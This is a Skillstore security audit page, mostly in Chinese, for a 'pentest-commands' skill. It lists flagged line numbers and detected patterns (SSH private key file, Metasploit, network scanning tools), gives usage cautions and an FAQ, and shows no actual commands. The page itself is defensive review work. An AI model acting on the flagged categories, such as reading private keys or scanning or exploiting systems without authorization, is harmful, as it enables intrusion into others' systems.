SKILL.md:381 SKILL.md:240 SKILL.md:243 SKILL.md:246 SKILL.md:249 SKILL.md:250 SKILL.md:251 SKILL.md:252 SKILL.md:255 SKILL.md:258 SKILL.md:265 SKILL.md:268 SKILL.md:271 SKILL.md:274 SKILL.md:277 SKILL.md:280 SKILL.md:283 SKILL.md:286 SKILL.md:289 SKILL.md:428 SKILL.md:39 SKILL.md:42 SKILL.md:45 SKILL.md:52 SKILL.md:55 SKILL.md:58 SKILL.md:61 SKILL.md:64 SKILL.md:71 SKILL.md:74 SKILL.md:77 SKILL.md:80 SKILL.md:87 SKILL.md:90 SKILL.md:93 SKILL.md:96 SKILL.md:99 SKILL.md:102 SKILL.md:105 SKILL.md:108 SKILL.md:111 SKILL.md:114 SKILL.md:117 SKILL.md:124 SKILL.md:127 SKILL.md:130 SKILL.md:133 SKILL.md:154 SKILL.md:167 SKILL.md:170 SKILL.md:173 SKILL.md:176 SKILL.md:179 SKILL.md:182 SKILL.md:189 SKILL.md:192 SKILL.md:195 SKILL.md:198 SKILL.md:201 SKILL.md:204 SKILL.md:211 SKILL.md:218 SKILL.md:221 SKILL.md:224 SKILL.md:227 SKILL.md:230 SKILL.md:233 SKILL.md:240 SKILL.md:243 SKILL.md:246 SKILL.md:249 SKILL.md:250 SKILL.md:251 SKILL.md:252 SKILL.md:255 SKILL.md:258 SKILL.md:265 SKILL.md:268 SKILL.md:271 SKILL.md:274 SKILL.md:277 SKILL.md:280 SKILL.md:283 SKILL.md:286 SKILL.md:289 SKILL.md:296 SKILL.md:299 SKILL.md:302 SKILL.md:305 SKILL.md:308 SKILL.md:311 SKILL.md:314 SKILL.md:317 SKILL.md:378 SKILL.md:390 SKILL.md:393 SKILL.md:396 SKILL.md:422 SKILL.md:299 SKILL.md:296 SKILL.md:317
📁 文件系统访问 (2)
检测到的模式
SSH private key fileMetasploit framework×7Malware type keywords×2System reconnaissanceNetwork scanning tools×33
审计者: codex 查看审计历史 →
分享与引用此报告
分享版本化评估报告、中性徽章、嵌入卡片和引用。Skillstore 只报告证据，不判断该 Skill 是否安全。
复制报告链接
https://skillstore.io/skills/sickn33-pentest-commands/audits/4?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown 徽章
[](https://skillstore.io/skills/sickn33-pentest-commands?utm_source=security_passport_badge)HTML 徽章
<a href="https://skillstore.io/skills/sickn33-pentest-commands?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-pentest-commands/security.svg" alt="Skillstore security assessment" loading="lazy"></a>嵌入卡片
<iframe src="https://skillstore.io/embed/skills/sickn33-pentest-commands.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>学术引用 (APA · BibTeX · CFF)
APA 引用
sickn33. (2026). pentest-commands security audit report (audit version 4) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-pentest-commands/audits/4BibTeX 引用
@techreport{sickn33-sickn33-pentest-commands-2026,
author = {sickn33},
title = {pentest-commands security audit report (audit version 4)},
institution = {Skillstore},
year = {2026},
number = {4},
url = {https://skillstore.io/skills/sickn33-pentest-commands/audits/4},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "pentest-commands security audit report (audit version 4)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-07"
url: "https://skillstore.io/skills/sickn33-pentest-commands/audits/4"
identifiers:
- type: other
value: "skillstore:sickn33-pentest-commands:audit:4"
description: "Skillstore immutable audit report identifier"
Skillstore 评分
评分依据 证据置信度: 中 55
架构
85
可维护性
85
内容
70
社区
83
规范符合性
你能构建什么
准备授权评估笔记
将常见安全工具映射到已批准渗透测试的各个阶段。
讲解实验室工具类别
解释扫描、漏洞利用、Web 测试和密码审计工具之间的差异。
审计攻击性工具覆盖范围
审查内部指南是否包含需要控制的高风险命令类别。
试试这些提示
解释工具用途
解释该技能中的每个渗透测试工具类别在授权实验室评估期间的用途。
规划实验室检查清单
创建一份安全检查清单，用于在具有书面授权的隔离训练实验室内使用这些命令类别。
审查命令风险
审查该技能中的命令，并分类哪些命令需要额外批准、速率限制或仅限实验室使用。
改写为防御用途
将该技能改写为防御性评估指南，移除漏洞利用执行、凭据攻击和载荷生成内容。
最佳实践
- 仅在获得书面授权且技术范围明确的情况下使用。
- 在任何执行之前，将所有占位符替换为已批准的实验室目标。
- 在测试前记录批准情况、时间限制、预期影响和回滚步骤。
避免
- 对公共或未知系统运行扫描或漏洞利用。
- 对实时用户账户使用暴力破解示例。
- 将载荷生成命令复制到生产环境中。
常见问题
该技能是否适合不受限制地使用？
不安全。它包含需要授权和严格范围控制的攻击性命令参考。
该技能会自行运行命令吗？
不会。它是书面命令参考，但用户可以将命令复制到 shell 中。
它涵盖哪些工具？
它涵盖 Nmap、Metasploit、Nikto、SQLMap、Hydra、John the Ripper、Aircrack-ng 和 Tshark。
它能否验证是否有权限测试某个目标？
不能。在进行任何评估活动之前，必须在该技能之外确认授权。
为什么 marketplace 审查对该技能很重要？
内容包含漏洞利用、暴力破解、载荷生成和数据库提取示例。
作者应如何让它更安全？
移除可运行的攻击性命令，保留防御性说明，并添加严格的仅限实验室和授权指导。